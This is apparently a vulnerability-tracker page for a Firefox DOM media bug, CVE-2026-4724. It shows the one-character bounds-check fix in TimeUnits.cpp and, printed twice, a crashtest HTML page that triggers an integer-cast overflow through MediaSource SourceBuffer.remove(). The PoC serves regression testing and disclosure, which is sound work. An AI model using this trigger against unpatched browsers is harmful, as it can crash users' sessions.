Firefox · DOM
CVE-2026-4724
Logic Error in DOM
Overview
Medium
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
Changed Functions
| Function | Change | Notes |
|---|---|---|
fordom/media/test/crashtests/2014865.html |
modified |
Files Changed
dom/media/TimeUnits.cppdom/media/test/crashtests/2014865.htmldom/media/test/crashtests/crashtests.list
Patch
diff --git a/dom/media/TimeUnits.cpp b/dom/media/TimeUnits.cpp
index fb8cd22700e..6e8e0ee3d9a 100644
--- a/dom/media/TimeUnits.cpp
+++ b/dom/media/TimeUnits.cpp
@@ -80,7 +80,7 @@ TimeUnit TimeUnit::FromSeconds(double aValue, int64_t aBase) {
// base -- we can keep this for some time until we're confident this is
// stable.
double inBase = aValue * static_cast<double>(aBase);
- if (std::abs(inBase) >
+ if (std::abs(inBase) >=
static_cast<double>(std::numeric_limits<int64_t>::max())) {
NS_WARNING(
nsPrintfCString("Warning: base %" PRId64
diff --git a/dom/media/test/crashtests/2014865.html b/dom/media/test/crashtests/2014865.html
new file mode 100644
index 00000000000..4d78471bc65
--- /dev/null
+++ b/dom/media/test/crashtests/2014865.html
@@ -0,0 +1,91 @@
+<!DOCTYPE html>
+<html>
+<head><meta charset="utf-8"></head>
+<body>
+<script>
+/*
+ * Trigger TimeUnit::FromSeconds boundary overflow via MSE SourceBuffer.remove()
+ *
+ * Bug in dom/media/TimeUnits.cpp, FromSeconds():
+ * double inBase = aValue * static_cast<double>(aBase);
+ * if (std::abs(inBase) > static_cast<double>(INT64_MAX)) return Infinity;
+ * return TimeUnit(static_cast<int64_t>(std::round(inBase)), aBase);
+ *
+ * static_cast<double>(INT64_MAX) rounds UP to 2^63. The check uses strict >,
+ * so inBase == 2^63 passes. static_cast<int64_t>(round(2^63)) is UNDEFINED
+ * BEHAVIOR (2^63 > INT64_MAX). On x86-64 it produces INT64_MIN (negative infinity),
+ * corrupting the TimeUnit. The Interval(start, end) constructor asserts start <= end;
+ * with end = -Inf and start = 0, the assertion fires.
+ */
+
+(async function() {
+ if (!window.MediaSource) return;
+
+ // Find a supported MSE type
+ const types = [
+ 'audio/webm; codecs="opus"',
+ 'video/webm; codecs="vp8"',
+ 'video/webm; codecs="vp9"',
+ 'audio/mp4; codecs="mp4a.40.2"',
+ 'video/mp4; codecs="avc1.42E01E"',
+ 'audio/mp4; codecs="flac"',
+ ];
+ let mimeType = null;
+ for (const t of types) {
+ if (MediaSource.isTypeSupported(t)) { mimeType = t; break; }
+ }
+ if (!mimeType) return;
+
+ // Create MediaSource and SourceBuffer
+ const ms = new MediaSource();
+ const video = document.createElement('video');
+ video.src = URL.createObjectURL(ms);
+ document.body.appendChild(video);
+ await new Promise(r => ms.addEventListener('sourceopen', r));
+ const sb = ms.addSourceBuffer(mimeType);
+
+ // Critical boundary value: 2^63 / 10^6 ≈ 9223372036854.776
+ // This is the value where inBase = value * 10^6 ≈ 2^63 exactly,
+ // which passes the > check but causes UB in static_cast<int64_t>
+ const criticalValue = 9223372036854.776;
+
+ // Set duration large enough to allow the remove
+ try { ms.duration = criticalValue + 1; } catch(e) {}
+
+ // Trigger the bug: remove(0, criticalValue) calls
+ // TimeUnit::FromSeconds(criticalValue) which overflows
+ try {
+ sb.remove(0, criticalValue);
+ await new Promise(r => {
+ sb.addEventListener('updateend', r, { once: true });
+ sb.addEventListener('error', r, { once: true });
+ setTimeout(r, 500);
+ });
+ } catch(e) {}
+
+ // Try a few more boundary values
+ const vals = [
+ Math.pow(2, 63) / 1e6,
+ 9223372036854.775,
+ 1e15,
+ 1e16,
+ Number.MAX_SAFE_INTEGER,
+ ];
+ for (const val of vals) {
+ try {
+ if (ms.readyState !== 'open' || sb.updating) break;
+ ms.duration = Math.abs(val) + 1;
+ sb.remove(0, val);
+ await new Promise(r => {
+ sb.addEventListener('updateend', r, { once: true });
+ sb.addEventListener('error', r, { once: true });
+ setTimeout(r, 300);
+ });
+ } catch(e) {}
+ }
+
+ video.remove();
+})();
+</script>
+</body>
+</html>
diff --git a/dom/media/test/crashtests/crashtests.list b/dom/media/test/crashtests/crashtests.list
index e9756cfb3f0..5c2d0980006 100644
--- a/dom/media/test/crashtests/crashtests.list
+++ b/dom/media/test/crashtests/crashtests.list
@@ -194,3 +194,4 @@ load 2014824.html
load 2014849.html
load 2014841.html
load 2014856.html
+load 2014865.html
Loading diff…
Regression Test / PoC
shipped with the fix
diff --git a/dom/media/test/crashtests/2014865.html b/dom/media/test/crashtests/2014865.html
new file mode 100644
index 00000000000..4d78471bc65
--- /dev/null
+++ b/dom/media/test/crashtests/2014865.html
@@ -0,0 +1,91 @@
+<!DOCTYPE html>
+<html>
+<head><meta charset="utf-8"></head>
+<body>
+<script>
+/*
+ * Trigger TimeUnit::FromSeconds boundary overflow via MSE SourceBuffer.remove()
+ *
+ * Bug in dom/media/TimeUnits.cpp, FromSeconds():
+ * double inBase = aValue * static_cast<double>(aBase);
+ * if (std::abs(inBase) > static_cast<double>(INT64_MAX)) return Infinity;
+ * return TimeUnit(static_cast<int64_t>(std::round(inBase)), aBase);
+ *
+ * static_cast<double>(INT64_MAX) rounds UP to 2^63. The check uses strict >,
+ * so inBase == 2^63 passes. static_cast<int64_t>(round(2^63)) is UNDEFINED
+ * BEHAVIOR (2^63 > INT64_MAX). On x86-64 it produces INT64_MIN (negative infinity),
+ * corrupting the TimeUnit. The Interval(start, end) constructor asserts start <= end;
+ * with end = -Inf and start = 0, the assertion fires.
+ */
+
+(async function() {
+ if (!window.MediaSource) return;
+
+ // Find a supported MSE type
+ const types = [
+ 'audio/webm; codecs="opus"',
+ 'video/webm; codecs="vp8"',
+ 'video/webm; codecs="vp9"',
+ 'audio/mp4; codecs="mp4a.40.2"',
+ 'video/mp4; codecs="avc1.42E01E"',
+ 'audio/mp4; codecs="flac"',
+ ];
+ let mimeType = null;
+ for (const t of types) {
+ if (MediaSource.isTypeSupported(t)) { mimeType = t; break; }
+ }
+ if (!mimeType) return;
+
+ // Create MediaSource and SourceBuffer
+ const ms = new MediaSource();
+ const video = document.createElement('video');
+ video.src = URL.createObjectURL(ms);
+ document.body.appendChild(video);
+ await new Promise(r => ms.addEventListener('sourceopen', r));
+ const sb = ms.addSourceBuffer(mimeType);
+
+ // Critical boundary value: 2^63 / 10^6 ≈ 9223372036854.776
+ // This is the value where inBase = value * 10^6 ≈ 2^63 exactly,
+ // which passes the > check but causes UB in static_cast<int64_t>
+ const criticalValue = 9223372036854.776;
+
+ // Set duration large enough to allow the remove
+ try { ms.duration = criticalValue + 1; } catch(e) {}
+
+ // Trigger the bug: remove(0, criticalValue) calls
+ // TimeUnit::FromSeconds(criticalValue) which overflows
+ try {
+ sb.remove(0, criticalValue);
+ await new Promise(r => {
+ sb.addEventListener('updateend', r, { once: true });
+ sb.addEventListener('error', r, { once: true });
+ setTimeout(r, 500);
+ });
+ } catch(e) {}
+
+ // Try a few more boundary values
+ const vals = [
+ Math.pow(2, 63) / 1e6,
+ 9223372036854.775,
+ 1e15,
+ 1e16,
+ Number.MAX_SAFE_INTEGER,
+ ];
+ for (const val of vals) {
+ try {
+ if (ms.readyState !== 'open' || sb.updating) break;
+ ms.duration = Math.abs(val) + 1;
+ sb.remove(0, val);
+ await new Promise(r => {
+ sb.addEventListener('updateend', r, { once: true });
+ sb.addEventListener('error', r, { once: true });
+ setTimeout(r, 300);
+ });
+ } catch(e) {}
+ }
+
+ video.remove();
+})();
+</script>
+</body>
+</html>
diff --git a/dom/media/test/crashtests/crashtests.list b/dom/media/test/crashtests/crashtests.list
index e9756cfb3f0..5c2d0980006 100644
--- a/dom/media/test/crashtests/crashtests.list
+++ b/dom/media/test/crashtests/crashtests.list
@@ -194,3 +194,4 @@ load 2014824.html
load 2014849.html
load 2014841.html
load 2014856.html
+load 2014865.html
Loading diff…
References
On This Page